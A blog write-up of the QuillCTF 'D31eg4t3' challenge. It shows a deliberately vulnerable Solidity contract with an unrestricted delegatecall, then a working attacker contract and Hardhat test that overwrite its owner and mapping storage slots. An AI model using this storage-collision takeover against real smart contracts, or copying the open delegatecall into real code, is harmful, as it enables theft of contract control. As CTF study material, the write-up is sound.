DEV Community

Erhan Tezcan
Erhan Tezcan

Posted on

QuillCTF: 5. D31eg4t3

This CTF challenge is developed to showcase the vulnerability which can be introduced by using delegatecall() incorrectly.

“Handle with care, It’s D31eg4t3”

Objective of CTF:

  • Become the owner of the contract.
  • Make canYouHackMe mapping to true for your own address.

Target contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract D31eg4t3 {
  uint a = 12345;
  uint8 b = 32;
  string private d; // Super Secret data.
  uint32 private c; // Super Secret data.
  string private mot; // Super Secret data.
  address public owner;
  mapping(address => bool) public canYouHackMe;

  modifier onlyOwner() {
    require(false, "Not a Owner");
    _;
  }

  constructor() {
    owner = msg.sender;
  }

  function hackMe(bytes calldata bites) public returns (bool, bytes memory) {
    (bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
    return (r, msge);
  }

  function hacked() public onlyOwner {
    canYouHackMe[msg.sender] = true;
  }
}
Enter fullscreen mode Exit fullscreen mode

The Attack

In this challenge, we are given a free-pass to make a delegatecall via the hackMe function. That is awesome, because delegatecall allows you to run code in the context of the caller contract. A side-effect of this is that the called contract can write to whatever storage slot they want with this. In this case, it looks like we are tasked with becoming the owner, and then calling the hacked function.

Let us first check the storage layout too see where owner would be. If all variables are less than 32 bytes in size, we should see it in the 6th slot (0x05). We can not always assume that to be the case, especially when there are strings. So let us just make some calls to the contract with ethers.getStorageAt. We find that:

Slot 0 : 0x0000000000000000000000000000000000000000000000000000000000003039 // uint a
Slot 1 : 0x0000000000000000000000000000000000000000000000000000000000000020 // uint8 b
Slot 2 : 0x533020434c305333205933542053302046345200000000000000000000000026 // string d
Slot 3 : 0x0000000000000000000000000000000000000000000000000000000000000539 // uint32 c
Slot 4 : 0x3100000000000000000000000000000000000000000000000000000000000002 // string mot
Slot 5 : 0x000000000000000000000000698ee928558640e35f2a33cc1e535cf2f9a139c8 // address owner
Enter fullscreen mode Exit fullscreen mode

So we just need to overwrite the 6th slot in the contract with our address. However, if you go on with the attack this way, you will notice that you always get stuck at onlyOwner modifier! The catch is that this modifier always reverts, no matter what; it has require(false) in it! So, although becoming the owner is a part of the objective, it is not enough. We also need to override mapping value too. Doing that is the same, we just need to make sure that the mapping storage variable is at the correct slot, in this case it will be the slot right after the owner, which is Slot 6.

We are also given the ability to pass calldata to the delegatecall via bites parameter, but we don't really need it for the attack. We can just write our code within a fallback function, which will execute when we provide an empty calldata.

Proof of Concept

The attacker contract is as follows:

contract D31eg4t3Attacker {
  uint256 slot0;
  uint256 slot1;
  uint256 slot2;
  uint256 slot3;
  uint256 slot4;
  address owner; // owner
  mapping(address => bool) public yesICan; // canYouHackMe

  function pwn(address target) external {
    (bool success, ) = D31eg4t3(target).hackMe("");
    require(success, "failed.");
  }

  fallback() external {
    owner = tx.origin;
    yesICan[tx.origin] = true;
  }
}
Enter fullscreen mode Exit fullscreen mode

The Hardhat test code to demonstrate this attack is given below. Contract types are generated via TypeChain.

describe('QuillCTF 5: D31eg4t3', () => {
  let contract: D31eg4t3;
  let attackerContract: D31eg4t3Attacker;
  let owner: SignerWithAddress;
  let attacker: SignerWithAddress;

  before(async () => {
    [owner, attacker] = await ethers.getSigners();
    contract = await ethers.getContractFactory('D31eg4t3', owner).then(f => f.deploy());
    await contract.deployed();
  });

  it('should claim ownership and hack', async () => {
    // deploy the attacker contract
    attackerContract = await ethers.getContractFactory('D31eg4t3Attacker', attacker).then(f => f.deploy());
    await attackerContract.deployed();

    // initiate first claim and consequent re-entries via pwn
    await attackerContract.connect(attacker).pwn(contract.address);
    expect(await contract.owner()).to.eq(attacker.address);
    expect(await contract.canYouHackMe(attacker.address)).to.be.true;
  });
});
Enter fullscreen mode Exit fullscreen mode

Latest comments (0)